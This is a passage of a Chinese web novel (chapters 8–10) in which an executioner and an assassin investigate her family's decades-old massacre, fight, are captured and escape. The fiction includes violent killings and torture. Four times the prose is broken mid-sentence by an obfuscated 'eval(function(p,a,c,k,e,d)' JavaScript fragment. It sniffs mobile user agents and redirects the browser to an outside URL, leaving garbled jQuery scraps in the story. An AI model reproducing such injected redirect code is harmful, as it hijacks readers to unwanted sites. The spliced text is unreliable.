房屋两层,年久失修,外围的墙壁不知道什么时候倒了一半,或许因为风时不时倒灌进来的缘故,屋内灰尘并不太多,但看样子许久没有人居住,杂物堆得到处都是。 红刀推开大门,客厅内相对干净一些,林又茉扫了一眼室内,停在了门口。 “怎么了?”红刀问。 他忽然想起什么,好笑道:“执刑官,洁癖?这个时候?” “没有。” 林又茉迈步进室内。 进了这个屋子,没有灯,但两个人的夜视能力都很强。半壁残垣后,零星的月光洒入进来,在地上淌出几抹银色。 林又茉检视了一遍屋内的四周又探出窗外看,附近没有人。 这一片和周围的民居应该都荒废许久了,像被遗弃。 破败、贫穷、落后。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817148|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看残破的程度,至少有十多年。就连无人机都很少到这处巡视。 “这里过去是我家。” 一道声音在身后响起。 林又茉回头,红刀正从卧室内走出来。 少年上衣剪开了一半。 红刀的身形介于少年和青年之间,露出的一侧腰线窄而利落,皮肤白如温玉,除了他右肩一直到上臂都被炸得血肉模糊,看起来极其可怖,宛如从地狱爬出来的恶鬼。 他看过来,一张沾血的脸此时格外妖媚:“你应该猜到了。” 林又茉:“不算意外。” 凭着他对路和地形的熟稔程度,这显然该是个很有可能性的答案。 “麻烦递下绷带。”红刀道,“在你脚边的抽屉里。” 林又茉垂下眼,脚边的柜子抽屉打开了一半,里面有一只应急药品箱。她将箱子丢给他。 “我过去在这里出生,后来这里发了一场瘟疫,几千个人全部死光了。我就被议会的人收养了,之后的事你也知道。” 红刀给自己上药的动作没有停顿,消毒的疼痛对他来说似乎并不算什么,只是惨白的脸色显示着身体承受的巨大疼痛。 “后来这个地方就荒废了,现在勉强算是我半个落脚点。” 林又茉在一旁冷眼看着,没有帮忙上药的意思。 她没帮忙,红刀丝毫不意外。作为他多次想要下死手的对象,林又茉不在这个时候落井下石,已经算足够仁慈。 而且他……现在的确没有精力防备后手。 红刀深吸一口气,慢慢捋了一把额前的碎发,露出苍白脸上光洁的额头。他从衣服内摸出了一根针管。 林又茉的视线移到针管上。 “生物药剂。”红刀道。 “我不清楚你怎么恢复身体。但执刑官,对于我,这种药剂是必需品。” 林又茉听过这种药剂,只要打一针,身体伤势就能以惊人的速度迅速恢复。但副作用是缩短寿命,很显然,红刀并不像一个在意他生命长短的人。 但她在想的是,这个药剂有一个弊端,打针的人在恢复期间会陷入深度昏迷,对外界的一切毫无知觉。 林又茉说:“你很相信我?” 红刀幽幽叹气:“那当然了。按我的伤势我可一个人走不出这个红灯区。我们是什么交情啊执刑官?” 林又茉:“不熟的同事。” 红刀:“……” 不过林又茉,的确没那么急着回去跟薛柏寒交差。 当然,她也可以把一个重伤的人丢在这里,自己先行回去,没有任何心理负担。 如果红刀被流浪的人发现,被穷恶之徒抓住,被无人机逮住,只能自认倒霉。 她抬头看了看夜色,跟在红刀身后进入卧室,对他点头:“你打针吧,我给你一晚。” 红刀眨了眨眼,苍白脸上露出笑容。 老实说,就算林又茉临时反水,他也没有回旋余地了。 爆炸波及得太狠,他的身体能撑到现在已经是强弩之末。没在踏进门的那一刻就昏倒,已经很给面子。 他抬脚勾过一把床边的椅子,咬住一截布料,一声闷哼,将药剂扎入自己颈侧。 生物药剂超出了人类能承受的生理极限,刚清创时还能一声不吭的红刀,这时脸色煞白,额角冒出一层细汗,汗珠沿着睫毛滚落,沾湿他血迹斑斑的脸。 他嘴角溢出几丝呻.吟。 林又茉站在椅子旁,注视他痛苦。 她并不享受这一幕,但同时,并不排斥注视。 他看起来像一只濒死的猫。 药剂一毫一毫地推进体内,时间似乎被无限拉长。 终于,那一管药剂被彻底压空。 红刀身形一晃,整个人倒在床上。 他浑身是汗,苍白的脸被烧出绯红,从颊侧蔓延到耳根。他紧蹙着眉,黑发黏湿,贴在侧脸上,像刚从水中捞出来。 他缓缓撩开眼,眼尾泛红,唇角轻佻弯起,笑出一颗虎牙,虚弱地哑声说: “执刑官……要是你现在想睡煎我,我可是给了你机会……” 啪。林又茉抬手给了他一记手刀。 红刀彻底陷入昏迷。 8.第 8 章 黑暗。 黑暗中并不宁静。 尖叫声,哭喊声,惨叫声。 像从远处而来,从记忆深处而来,像梦魇一般追逐。 突如其来的瘟疫,家破人亡的底层人,天上亮着红灯的无人机,散发着恶臭的尸骨,大量的、嘈杂的,声音、气味,隔着几道街巷就是光鲜亮丽的红灯区楼宇,夜夜笙歌,而这里却因为人吃人成为地狱,满街鲜血—— 红刀霍地睁开眼睛。 头顶是豁了个口的天花板,黯淡的晨间天光落进来,钢筋穿透皲裂的水泥,往下滴落肮脏的锈水。 啪。正中他的脸。 “……” 原来是雨停了。 那记忆里,脸上挨的重击也是错觉吗? 红刀捂着火辣辣的脸起身,这里一切跟他昏迷前一样,是他那个记忆中小时候的家。 床边的椅子上空空如也,四周没有人。 也对,如果林又茉真在这守了他一夜,还有点见鬼。 伤口在生物药剂的作用下已经完全恢复了原样,就是还有些隐隐的疼痛,不过这些痛感对红刀来说都是小菜一碟,甚至还不如脸上的伤来得痛。 毕竟是燃烧寿命换来的效用。 红刀在破屋里兜了一圈——然后在听到不远处头顶传来风声的变化时,他停下来,仰头看去。 一双漂亮的桃花眼流出笑意。 “早上好啊,执刑官。” 红刀轻轻松松翻上屋顶,笑眯眯抬手打招呼。 正值清晨的日初时分。 红灯区的贫民地带房子大多低矮,能看到远处东升的太阳。橘红色灿烂的阳光从远处的天际线散开。 穿着深色制服的少女站在屋顶边缘,风慢慢吹起她垂在腰间的黑发。 她一夜没离开。 林又茉一脚踩着屋顶的边台,半敛着眼,不知道在看什么。 红刀盯了会她的背影,才低下头。 房顶堆满了玻璃、木块、杂物。在瘟疫后,联邦强行将这块区域隔离了三年,后来这里被不怕死的拾荒者扫荡过一遍,到现在,只是老鼠和昆虫的寄居地。 红刀在天台杂物下发现一张照片。 泛黄的旧照,没有任何价值,所以没被拾荒者捡走。上面印着三个人,一个女人,两个一模一样的小孩,三个人面黄肌瘦,但难掩貌美。 他看到了,说明执刑官也看到了。 “那是你哥哥?” 林又茉平静的声音顺着风送过来,她没回头。 “双胞胎弟弟。”红刀的目光在照片上扫过,没什么留念,他耸耸肩, “瘟疫后期食物短缺,我被换给别人当食材,弟弟是更受宠爱的那个,家里的宝贝。后来可能他俩一起死了吧。” “不过真不理解啊……”红刀摸了摸自己的脸,叹息,“虽然长得一样,但我明显更漂亮,为什么大人都喜欢更小的那个呢?” “执刑官,你应该理解我吧,听说你也是林家最小的那个——” 忽地,少女转过来,黑洞洞的枪口对准了他。 红刀声音戛然而止。 林又茉手里握着一把漆黑的手枪,这把枪是之前红刀在李七的房间夺走使用的,很显然,在他昏迷期间,这把枪的使用权被易了主。 风声飒飒,吹拂她的碎发,林又茉脸上没什么表情,依然是那张乖巧的脸,甚至像放学后刚回家的邻家少女。 但她拿枪的手很稳,食指勾在扳机上,一触即发。 她说:“十八年前林家的灭门案,你知道多少?” 红刀一愣。仿佛一根弦从脊背到脑后被拎起来,他瞬间全身肌肉应激般地紧绷起来,这是动物面对危机时的本能反应。 但他停滞了几秒,反而弯起眼,笑了起来:“执刑官你在说什么啊,怎么突然提到林家灭门案?我怎么会对这件事知情?” “砰!”一道枪响。子弹贯着风声擦过红刀的脸颊,在他脸上留下一条血痕。 红刀的笑意在嘴角凝滞。 林又茉声调平静,仿佛刚刚随手就开了枪的人不是她:“芯片里有关于林家的内容,但被人为抹掉了,日期在十八年前。” 她另一只手捏着一枚透明的柱体。 芯片。从李七的服务器导出了数据的芯片。 “十八年前,林家只出了一件事情。” 毋庸置疑,林又茉在昨天晚上读了芯片的内容。 执刑官的电子权限,果然很大。连议会长的芯片都能查阅。 “你是说,这群倒卖.军火的人,同时是灭了你家满门的主谋?” 红刀顺着她的话推测,面对林又茉的威胁,他甚至往前几步,走到她的枪口前,叹了口气道,“执刑官,虽然我是议会的人,但我没比你大多少岁,十八年前那件案发生的时候我也才四五岁,我能知道什么呢?那个时候我甚至还不怎么会数数,更别提参与。” “总不可能四岁的我带着跟我一样高的砍刀去你家把所有人斩首了吧?你说对不对——” 林又茉的枪口抵在了他的下巴下。 红刀不笑了。他垂眼看着面前的少女。 他轻叹:“执刑官,我以为我们很相似。” 都被家人抛弃了。 他听说过传闻,林又茉在灭门那一天是唯一幸存者的理由,是因为她被家里偷闲的保姆锁进了地下室,足足两天。 什么样的家人,才会足足两天都没有发现一个幼儿失踪?甚至连作为佣人的保姆,都对她不屑一顾。死活无足轻重。 林家三十多口人,更林又茉年龄相似的就有七八个,林又茉是最小的那个。 却是最能被轻易舍弃的那一个。 他们如此相像,在泥泞中生长,在得不到爱中腐烂。 简直像天生一对。 “你想给那些人报仇?”红刀歪了歪头,问,“那些冠着‘家人’名字的人?为什么?他们配么?” 林又茉无动于衷,枪口上挑,抵紧他的下颚:“回答我的问题。” 红刀耸肩,举起三根手指:“好吧好吧,我回答你,不管你信不信,我真的是无辜的。我发誓,我,红刀,对你们林家当年的灭门案绝对不知情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832878|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 林又茉扣动了扳机。 红刀字音凝固在后牙上,血液一瞬间涌上后脑,肾上腺素一刹那飙升到极致,瞳孔紧缩,全身肌肉倏地紧绷,然后他听到—— “咔嗒”。 很轻的一声。 空弹音。 弹匣里击针撞击匣内的空气,没有任何子弹。 像弹壳落地的声音,像雷击后的余韵,世界仿佛静止了,一息一毫都在他的耳边,如此安静。 这是一发空枪。 林又茉转身跳下天台离开,抬起手,抛了样东西给他。 “我相信你了。”风送来她轻飘飘的话。 红刀接住,低头。 她抛来的是那枚从李七那来的透明的芯片。 她用的那把手枪丢在天台一旁,旁边滚着几枚不知道什么时候被取出的子弹。 一把手枪几枚子弹。刚好够他自保出红灯区。 良久。 红刀突兀地笑了一声。 他弯起桃花眼,笑得恣意,头一次被耍也丝毫没不高兴。他把额头用手掌抵住,笑得低低。 笑声持续了很久也没有停下来。 “其实很幽默呢。执刑官。” ** 都城城郊。 私人庄园。 卫星无法查找到的【权限干扰】的区域。 建筑二楼,林又茉推开浴室的门,带出一阵氤氲的水雾气。 她穿着洁白浴袍,湿润的黑色长发披散,脸白白净净,看起来年纪更轻,像个小女孩。 林又茉回到家就先洗了澡,把身体浸泡在水里,洗去多余的气味。 她坐下在椅子上,从一边拿出林家档案册,翻开。 脱离工作状态的林又茉看起来更符合她的年龄,她垂下眼,开始看文件。 忽地,门外传来敲门声。 传来佣人很轻的声音:“林小姐,您现在方便吗?” 林又茉不喜欢机械智能,宅子里只有佣人。 “怎么了?”她问。 “有一份给您的包裹,需要您签收。” 林又茉动作停顿。 她的住址并不难找。难的是找到人送进来。更难的是送到住宅的门口。世界上能有几个人做到呢? “送进来吧。” 佣人小心地推开门,躬身将那一份长方形的包裹放到了她身前的桌上,悄然退了出去。 包裹上没有任何标记,只有收件人的地址,笔迹清秀。 盖子打开,纸盒里躺着一束紫色的鸢尾花。 鸢尾花被修剪得精细,绽放的花朵沾着露水,花茎用漂亮的丝带扎起来,附着一张卡片,写着“给又茉”,末尾画了一朵小花。 世界上只有一个人会这么写她的名字。 这是一束被精心栽育过的花,被一个人养出来,细心地包扎好,送到她手上。 林又茉垂眼盯了一会,把脸埋进了那束花里。 她轻轻嗅着,很依恋,像找寻到了母体的幼崽小兽。 下午,林又茉将花全部沉进湖里。 9.第 9 章 林又茉拿到了林家灭门案的全部资料。 大批的资料全部对执刑官开放。 但像她预计的一样,翻阅了一遍,一无所获。 这件事被掩盖得很彻底,公民间没有人想彻查,联邦不想耗费资源,最后林又茉手上只有一份事故调查报告,语焉不详,寥寥几语,“凶手:仍旧追查中”。 很敷衍。 林又茉没有兴趣报仇。但她不喜欢被蒙在鼓里。 她在想,十八年前的那场谋杀案,她究竟是那只漏网之鱼,还是一条被放过的鱼? 不过林家有那么多仇家,找不到凶手不是离奇的事。 资料底下压着一本林家的相册。 “这是您的母亲。”“这是您的二姐。”“这是三哥……”年迈的佣人见她盯着相册,小心地为她介绍起照片中的人物。 “这是您。”一张襁褓的照片。 她甚至不在全家福里。 林又茉从没见过父母的长相。这么看来,她的母亲上一任“刽子手”的确是一个美丽强大的女人,而父亲却像个仅有漂亮脸蛋的小人物。母亲有着传闻中母螳螂的习性,喜欢去父留子,无论多么漂亮的男人对她来说是一次性用品,生完孩子就可以杀死,以绝后患。 林又茉对在林宅的童年记忆很少。 “这不怪您,您那时候只有三岁,而且那个晚上,还被那个……不称职的保姆锁在了地下室。”佣人没有说完。 哦,林又茉想起来了。 那天保姆化了浓妆,半夜偷摸出去,为了不让人听到动静,把她锁进了地下室。 她的哥哥姐姐们先发现了她。 他们是一群最恶劣的人类幼兽,说“天啊,最小的怪物妹妹在这里。”“不哭不笑的小哑巴。”“你知道小孩饿多久会死吗?”“我很好奇。”“那不然我们来做个实验吧。” “林又茉,不要出声,你要出来,我们就会亲手掐死你,把你的肠子掏出来给你打蝴蝶结,反正你当不上继承人也是要死的,没有人会为你出头,小杂种,听懂了吗?” 有人掐了她的脸,笑声尖锐,然后他们干了人生最蠢的一件事:给地下室加上一把锁,并推来书柜挡住了门,在地上洒满了杂物。 ——确保林又茉出不去,也没人能找到她。 然后结局出来得很快,林又茉毫不费力成为了新的继承人——在所有竞争对手都死光了的情况下,这个目的很难达不到。 活得很像真正的反派。 只不过,林又茉在想。 她似乎对那个晚上有印象。 那个杀人的晚上。 那是一个,下着雨的一天…… 林又茉停下脚步。 她的伞沿抬起,细雨绵绵,眼前那座现代风格的白色建筑映入视线,让她的记忆有些朦胧。 林宅的原址。 在案件发生后,林宅直接荒废,联邦在征求她的同意后对这栋建筑做了整改,将它变成了一个功能性公共建筑。 “——‘联邦、人文、博物馆’?” “有点讽刺,不是吗?” 停在她身边的人一个字一个字读出招牌,唏嘘道, “刽子手全家死光的地方,变成了彰显人文情怀的场所。” 红刀转过头来,对她打招呼:“好久不见呀,执刑官。” 少年个高腿长,打着把黑伞,他今天穿着T恤长裤,除了脖子上的那只黑色颈环外,看起来就像个在学校里很受欢迎的高中生。 红刀恐怖的名声没有在民间传播,路上还有不少年轻的女孩子偷偷瞄他。 两人撑伞站在博物馆门口,还有热情的小贩上前兜售情侣纪念品。 红刀心情很好,没有掏刀恐吓无辜路人,而是掏钱买了两个小企鹅钥匙扣。塞给了林又茉一个,她没要。 “为什么不想要?这可是你家谋杀地的纪念品,再想要就很难等到下一次了。”他歪脑袋说着地狱笑话,“除非你给我机会……” “洁癖。”林又茉用一句话杀死对话。 “对我吗?”红刀很伤心。 林又茉瞄到他脖子后的文字。 【B级公民,信用点:2814】。上次见面是2812,多了2点。 “看来你受到了褒奖。薛柏寒对你交的差很满意?” “啊,你说信用点?谢谢你,受到你们A级公民的夸奖真不容易。你不知道跨越阶级有多难,我被当工具用了这么多年才爬到这个分数。用半条命换2分,等能爬到A级说不定是下辈子了,还是投胎来得快。” 红刀幽幽叹着气,摊了摊手,嘴里抱怨但并不在乎的模样。林又茉想起他是在红灯区出生,这个区域的公民出生最多是D级。 D级升到B级已经难之又难,而B级跟A级中间有一道天堑,增长信用点比登天还难,天堑设置出来的目的就是让人无法跨越。 红刀语调开始飘:“我还不如像红灯区那些E级出卖体力活……” “你想找我做什么?” 这栋白色建筑已经面目全非,勾不起她的任何记忆。 林又茉打伞转身离开。 红刀说:“我为你找到了一条线索。” “?” “就当我做个好人,报你上次守我一夜的恩情。” 红刀手指翻出一张卡片,递到她面前,“这是李七事件后,我的下一个任务。” “执刑官,你猜猜——如果这个人是李七的上级,会不会也知道你们林家的案子的真相?” 林又茉脚步急停。 她转过身,盯了那张卡片上的人名许久。 红刀看她表情,就知道她意动了。 “我只有一个问题。”她说。 “什么?” “你告诉我你的目标地址信息,议会不找你麻烦么?” 红刀早就准备好了:“林又茉小姐,你可是执刑官,你去哪里都畅通无阻,我只不过是一名为议会办事的小员工,谁知道上次我俩搭档你非看上了我,对我情根深种,我去哪你都非要跟踪我,一直跟到我任务对象家里,对我死缠烂打纠缠不清……我能有什么办法,对吧?” 红刀摇头叹气,十分忧郁,撑伞扶额,做得跟真的一样。 林又茉站住,黑眸盯了他几秒,才移开视线继续向前走。 红刀:“……你刚刚瞪了我吗。” “哈哈哈哈?执刑官你瞪人?你还会瞪人?哈哈哈哈哈?就因为我渲染你是跟踪狂?那既然这样我能不能干脆告诉——” “不能。” “喔。” ** 接下来的一段时间,林又茉跟红刀见面频繁。 虽然没有明说,但林又茉扮演好了那个喜欢跟踪的角色,在每次红刀出任务时总是迟一步到,将两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847416|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的合谋变成单方面蓄谋。 林又茉大多数时候不会动手,她只旁观,在血溅到脚边时静静退一步,像个做观察人性社会实验的小学生。 顺腾摸瓜找到主谋不容易,每一次的任务对象也不一定是正确的。但林又茉在上班时间做这些事——说起来,林又茉并没有需要完成的kpi——非要按本质来说,追查军火贩卖的主犯的确也算林又茉的工作内容,所以她对多出来的活并没有太多异议。 直到有一次,议会逮到了她跟红刀一起出现在同一个任务现场。 薛柏寒兴师问罪,坐在长桌后面,神色冷淡,等待她的解释。 “执刑官,你为什么要干扰议会公务?” 林又茉:“这是我的私人事务。” 薛柏寒冷笑:“什么私人事务?” 林又茉沉默了一会儿:“我喜欢做跟踪狂。” 薛柏寒:“……” 薛柏寒足足反应了十几秒,才反应过来刚才执刑官嘴里吐出了什么话。 就连被迫安排在门后旁听的温臻,听了都神情凝滞了一瞬。 “谁的跟踪狂?” “红刀。” “红……?” 薛柏寒简直见了鬼。 他嘴巴张开几次又闭上,说不出下一个字。 但林又茉并不笑。很难判断她的话是假话。 “没有什么事的话,我先走了。” 她点头,起身离开。 出了议会宫门,林又茉顺手接住空中嗖地丢来的刀,红刀歪着抱胸在暗处的街巷等她。 “怎么样?我就说他们会信吧。”他笑眯眯。 林又茉觉得他们红灯区出来的人真是天赋异禀。 “走吧。” “好~” 议会宫的会议厅内,薛柏寒无论怎么回想刚刚发生的事情,还是觉得荒谬至极。 跟踪狂? 别太搞笑了。 执刑官那个小丫头如果是跟踪狂,他能把他那个侄子的头拧下来给她当球踢。 但问题在于,无论薛柏寒信或者不信,他没有任何理由能规束执刑官的行为。 执刑官处决别人,所以在某种程度上,她对法律“免疫”: 她有权力跟踪别人,甚至干涉公务。哪怕,这个人隶属于议会。 薛柏寒觉得这简直令人发笑。他推开会议厅侧门,想找个对照组嘲讽一番,毕竟温臻每次都被他强行固定在这里,旁听他跟林又茉的每一次会议,模样十分可怜。 虽然折磨不了林又茉,但有替代品,也勉强凑合。 但这次……结果出乎他意料。 昔日里温臻总是一副垂着眼睫,沉默不语,用无声做抵抗的模样。高岭之花,矜贵冷静。 而此时,尊贵的神官此时躬着腰,他似乎站不住,冷白修长的手指按在旁边的石台上,指节用力地发白。淡金色长发从肩上垂下,随着脊背而颤抖。 赶来的秘书吓坏了:“议会长,要不、要不要让医生来看一下,神官大人绝对不可以——”还没结婚前的神官绝对不能出事。 “……我没事。” 一个很轻的声音打断他。 不久,温臻松开石台,他退后一步。美丽的脸苍白,像疲倦至极。 他鸦羽一般的睫毛垂下,整个人单薄素净。 “我没事。”他梦呓般低声重复。 10.第 10 章 神殿里,一切都很安静。 偌大的窗前,温臻穿着单薄的白袍,无声地坐在那。 过了片刻,他终于抬起手,翻开身前厚重的书籍,里面夹着一只干花。 有佣人轻声地在门口提醒到时间,需要去祷告。 在佣人离开前,温臻忽然开口:“上次我让你送去的东西……收到回应了么?” 佣人迟疑:“神官大人,还没……执刑官那里,可能是我们没收到,我再去看看……” 温臻顿了下。 “没关系,不用了。” 时间流逝让鸢尾花的紫色褪去,变得脆弱、干燥,在书页上压出影子。 温臻垂眼看向那朵花,轻轻抿了抿唇。 他脸色有些苍白。 ** “我能不能问你一个问题?” “什么。” “被神官抚养长大是什么感觉?” “你在这个时候问这个问题?” “我好奇。” 林又茉走进这栋豪宅的餐厅,巨大的水晶吊灯碎裂在地上,整个房间如某个恐怖游戏的开屏画面,布满鲜血和死尸。 红刀从她身后的高处跳下来,轻巧落地。 他从果盘里拿起一个苹果,咬了一口,很悠闲。 “因为你是唯一一个在神殿长大的外人,属于珍稀采访对象。” ——这是两个月后。 这两个月里,林又茉和红刀利用职务之便一路向上追查,最终追到一名B级贸易富商公民的别院。 可这个人也只是幌子。红刀用了一些手段(包括威胁杀掉所有人,以及真的杀掉所有人),最终一无所获。 “看来我们查错方向了。这群人能做这件事做十多年,肯定已经建立了完整的产业链和退出方案,我们这两个月做的事像蚍蜉撼树,根本不够看。” “查到现在这一步已经很不容易了。” 红刀的目的是找到军火商人。林又茉的目的是查清林家灭门的真相。在这一点上,两人殊途同归。 叹气完,红刀又勾回话题。 “所以被神官养大是什么样的感觉?” “执刑官,我发现,这几天只要是在路上看到神官和议会长婚礼的祝福海报,你就会移开视线。这总不会是我的错觉吧?” “看起来你真的很讨厌议会长。” 两个月过去,离神官的婚礼越来越近,公民自发开始庆贺,民间的活动层出不穷,街头巷尾到处是宗教图案的海报与气球,当然,全部都是温臻的支持者。 没办法,这任神官太受欢迎。 他们太喜欢温臻了。 “你好像对这桩婚姻很不满意。” “没有,我觉得这桩婚姻很合适。”林又茉平淡回答。 “但你看起来好像一点都不高兴?” “没有,我很高兴。” “但你看起来可不高兴。” “从哪里看出来。” “从——” 这句话把红刀问住了。 他绕到林又茉跟前,托起下巴仔仔细细端详她的脸,看起来很严肃。 而林又茉的目光向下,落到他的女仆装上:“……” 她才注意到,红刀今天穿着黑白蕾丝裙装,带着兽耳,脖子上的颈环还挂上了一枚金灿灿的铃铛。随着他的动作,叮叮当当作响。 “嗯——?你说这身?” 红刀顺着她的目光看,眨眨眼,“这个富商的性癖是年轻的男娘,好变态的。不然你以为我怎么混到他的身边的?当然是靠这张漂亮的脸。” 说着话,少年歪了歪脑袋,随着他的动作,脑袋上的耳朵慢慢也歪了歪,铃铛叮铃一声。 红刀妖媚的脸跟这身搭配适配度意外地高。他嘴巴没个章法,但“漂亮”这个词,不算谎话。 “他们的主管一见到我,就把我加进名单里去了。看来我很擅长这行,说不定以后可以考虑下岗再就业,你说呢执刑官?” 他身量很高,薄肌,腰又窄又韧,桃花眼,靠近林又茉展示,的确很合适。 ……如果不是他一个人刚刚眼睛都不眨杀了二十个人的话。 林又茉无言地扫了他一眼,往死人堆里走去。 “执刑官——你怎么都不理我?” 红刀拉长了尾音叹气。 “是厌烦我了吗?” “我们认识这么多年了,刚刚还过了两个月蜜月一般的甜蜜生活,天天早晚低头不见抬头见,一般的情侣都没见这么勤,你已经对我腻了吗?” “再过一段时间就是神官的婚礼,你怎么办?你不会要去反对,然后抢婚……” “我去休假。” “……”红刀一时没反应过来,“什么?” 林又茉:“我休年假。” 工作状态996/007的红刀无法理解这个词:“……” 年假,是什么。 好陌生的词。 “我已经请好假了,”有终身编制的林又茉说,“过一段时间,我会休息一个月。” 执刑官自从上任之后没怎么休过假,积攒的假期成了一个可怕的数字。 林又茉觉得她再不休假,议会那些人都会得精神衰弱。 红刀呆了几秒:“去哪?” 林又茉没准备回答这个问题:“哪都可以。” “可……” “红刀。”她开口。 “嗯?” “你的任务没做完。” 林又茉拿起桌上的刀,走上前,在红刀的惊异抽气声中对地上的人手起刀落——刚死里逃生喘出一口浊气的富商瞬间人头分离,头咕噜噜地滚到一旁,目眦欲裂。 “执刑官,你的力气真的很大……” “斩首是防止诈尸最快捷的方法。” 鲜血溅出来,在地板上蔓延。 但身后没有声音。 林又茉回头,红刀正站在那。 他从地上捡起了什么东西,脸色骤然怪异。 林又茉看清了他手里是什么:一个便携报警器。 红色的按钮,已经被摁下了。 林又茉微微站住。 她握紧了手中的刀。 “变态富商诈尸的那一口气,按下了这个报警器,天知道会触发什么——” 红刀吸了口气道,“啧。” 下一刻,伴随着巨大的响声,整个房间烟雾弥漫。 ** 滴答。 滴答。 水滴从上方坠落。 黑暗中静得可怕。 林又茉睁开眼,是耳边有一道声音一直骚扰一般喊她。 “执刑官?” 见她终于睁眼,红刀如释负重:“你醒了。” 四周很黑,铁锈味、阴冷的潮湿气味还有隐隐作痛的太阳穴让人大脑发麻。 甚至,有一些让人身体动弹不得——不对,的确动弹不得。 林又茉感受到身体的肌肉僵硬,思维迟钝,像被药物麻痹。 以及,她的手被反铐起来了。红刀也一样。 “他们在餐厅里释放了一些神经气体,然后我们被锁起来了,这里是地下室。” 红刀说,林又茉发现他的声音有些沙哑。 他应该受伤了,她闻到了血腥味,这并不来自于她身上。 “过了多久了?”林又茉听到自己的声音问。 “不清楚,也许一两天?也许几个小时。” “你被拷问了?” 红刀轻巧地笑:“对啊。” “不过你放心,我什么也没说……他们不敢对你下手,执刑官,杀你是死刑,没有人敢。” 林又茉:“十八年前他们敢。” 红刀幽幽地道:“但你也知道为什么不是吗,因为十八年前你活下来了。” “执刑官只能由林家人担任,而你活下来了,有了继承人,所以林家其他死的人死得无足轻重。” “但他们现在不敢,因为林家只剩下你。” 林又茉没说话,她知道这就是事实。 十八年前联邦没有彻查,因为执刑官的位子有她继承,只要有人继承,联邦就没有义务追查到底。 但如果她现在死了——联邦无论如何都得调动最大的资源启动调查程序,查清楚这一序列上的所有人、物、事件、地点,而任何见不得光的交易,都会毁之一旦。 军火、杀人、灰色交易,全部。 她的死亡就是他们最大的威胁。 “而且最过分的是,他们把我身上的刀都没收了。”红刀很轻地哼了声,“他们知道我花了多久攒的那十九把刀吗?” “哦对了,执刑官,你身上藏着的两把迷你手枪、十八根追踪针,三十六根根线刃,两颗烟雾弹……和七枚刀片也都被收走了。” “现在看来出去只能靠我们把骨头打断了。你先还是我先?” 林又茉:“……”听起来很像百货商店。 她终于感觉到脑袋里的晕眩好了一些,道:“八枚。” 红刀一愣:“什么?” “八枚。我身上的刀片,是八枚。” 下一刻,昏暗中——甚至不需要红刀集中注意力在视力上,因为反光说明了一切,隔着竖直栏杆,靠在那的黑发少女微微张开唇,舌底下,慢慢卷出了一枚锋利的刀片。 在黑暗中,那银亮亮的颜色——如此鲜明。 几乎刺眼。 “……!” 红刀脑袋很轻地嗡地一声,他听到自己抽气的声音。 什么样的疯子…… 什么样不要命的疯子,会把刀片藏在嘴里? 一个不小心,一个没留神的撞击,或许就会割伤自己,吞进喉咙里,割伤脆弱的咽喉,造成无法挽回的后果。 这简直是极度的冒险,极度的自信,和极度的自负。她就这么确信不会伤害自己? 但他说出嘴的却是震惊的:“执刑官……你接吻也不拿出来?” “…………” 虽然是黑暗中,但红刀确信林又茉剐了他一眼。 红刀由衷感叹:“你的情人也是狠人。” “……” “跟别人接吻是调情,跟你接吻是玩命。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873511|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “想不到是谁——” 林又茉终于受不了了:“红刀。” “嗯?” “我听说你很会开锁。” 与此同时响起的,是地下室门外脚步靠近,钥匙开门的声响。 “你最好像你说的那么厉害。” …… ** 两人终于逃出来时,已经不知道过了多少时间。 明月高悬,夜晚的风格外冷,两人身上带着的大量的血迹惊起树林里不知情的猛兽,却又嗅到危险般纷纷避让。 答案很简单:那些血,并非来自一个人,而是混杂了各种气息,来自大量的,不同的人类。 红刀感到从所未有的畅快,仿佛胸中的闷气都一扫而光,而身上那些糟糕的伤痕也不重要,疼痛算什么呢?疼痛每天都可以有,但这么高兴可真是少见。 他损失了十九把漂亮的刀,但那又怎么样,他今晚可是发现了执刑官一个非常、非常独特的秘密。 呼吸声被掩盖在树叶的踩踏声和风声中。 